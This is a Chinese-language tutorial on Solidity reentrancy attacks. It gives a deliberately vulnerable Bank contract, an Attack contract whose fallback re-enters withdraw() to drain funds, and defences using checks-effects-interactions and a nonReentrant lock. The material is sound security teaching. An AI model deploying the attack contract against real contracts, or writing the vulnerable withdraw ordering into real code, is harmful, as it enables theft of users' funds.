# solidity的重入攻击

重入攻击（Reentrancy Attack）是Solidity智能合约开发中常见的一种安全漏洞。它发生在合约调用外部合约时，外部合约又回调了原始合约，从而执行了不预期的代码。

### 重入攻击的工作原理

1. 合约A调用合约B中的某个函数。
2. 合约B在执行过程中调用合约A中的某个函数。
3. 合约A中的函数被重新进入，可能导致合约A的状态被不正确地修改。

### 示例

假设有一个简单的银行合约，它允许用户存款和取款：

```solidity
pragma solidity ^0.8.0;

contract Bank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Insufficient balance");

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }
    
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

```

攻击者可以创建一个恶意合约，在`withdraw`函数调用时重新进入Bank的`withdraw`函数，多次提取资金：

```solidity
pragma solidity ^0.8.0;

contract Attack {
    Bank public bank;

    constructor(address _bankAddress) {
        bank = Bank(_bankAddress);
    }

    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw();
        }
    }

    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw();
    }
    
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

```

### 防御措施

1. 使用`checks-effects-interactions`模式：在进行外部调用之前，先检查状态变量，在更新状态变量，最后在调用外部合约，比如上面的bank合约，banlances[msg.sender] = 0 放在上面的msg.sender.call()前面；
2. 使用重入锁（Mutex）：防止函数被重入调用。
    
    ```solidity
    uint256 private _status; // 重入锁
    
    // 重入锁
    modifier nonReentrant() {
        // 在第一次调用 nonReentrant 时，_status 将是 0
        require(_status == 0, "ReentrancyGuard: reentrant call");
        // 在此之后对 nonReentrant 的任何调用都将失败
        _status = 1;
        _;
        // 调用结束，将 _status 恢复为0
        _status = 0;
    }
    ```
    

重入锁是一种防止重入函数的修饰器（modifier），它包含一个默认为`0`的状态变量`_status`。被`nonReentrant`重入锁修饰的函数，在第一次调用时会检查`_status`是否为`0`，紧接着将`_status`的值改为`1`，调用结束后才会再改为`0`。这样，当攻击合约在调用结束前第二次的调用就会报错，重入攻击失败。